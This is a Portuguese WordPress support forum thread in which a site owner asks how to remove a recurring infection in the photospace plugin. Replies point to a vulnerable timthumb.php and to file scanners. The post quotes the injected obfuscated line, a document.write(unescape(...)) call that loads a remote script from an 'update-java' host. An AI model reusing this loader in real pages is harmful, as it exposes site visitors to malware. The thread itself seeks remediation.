• Estou enfrentando uma luta.

    Ao acessar meu site, abre uma janela do java, que é um vírus.
    Depois de muito trabalho, manualmente, identifiquei a seguinte linha:
    document.write(unescape(‘%3Cscript%20src%3D%22http%3A//u’ + ‘pd’ + ‘ate’ + ‘-‘ + ‘jav’ + ‘a.k’ + ‘it.’ + ‘net’ + ‘/ja’ + ‘va.’ + ‘js%22%3E%3C/script%3E’));
    dentro do arquivo jquery.galleriffic.js na pasta /www/wp-content/plugins/photospace.

    O problema é que, apesar de eu deletar, depois de um tempo a linha volta a aparecer. O plugin photospace foi baixado do repositório do wordpress e já uso há algum tempo, mas só agora está dando esse problema. É um plugin essencial pra mim, e não posso removê-lo.

    Como resolver esse problema?

Visualizando 2 respostas - 1 até 2 (de um total de 2)
  • Vc deve ter mais alguma arquivo com problema e algum deles está com uma brecha que está deixando isso acontecer.

    Já corrigi um problema desses em uma site e era o timthumb.php que estava com a vulnerabilidade, depois que corrigi todos os arquivo e atualizei o timthumb nunca mais aconteceu isso.

    Usei o site sitecheck para varrer todos os arquivos do servidor e ele me listou os arquivos com problema, dai fui restaurando cada um deles.

    Veja se esses procedimentos lhe ajuda o endereço é este
    http://sitecheck.sucuri.net/scanner/

    Experimente alguns plugins que fazem a varredura de códigos entre os arquivos.
    Nunca tive este problema, mas já utilizei alguns para teste.
    Plugin Directory: virus

Visualizando 2 respostas - 1 até 2 (de um total de 2)
  • O tópico ‘Vírus no WordPress’ está fechado para novas respostas.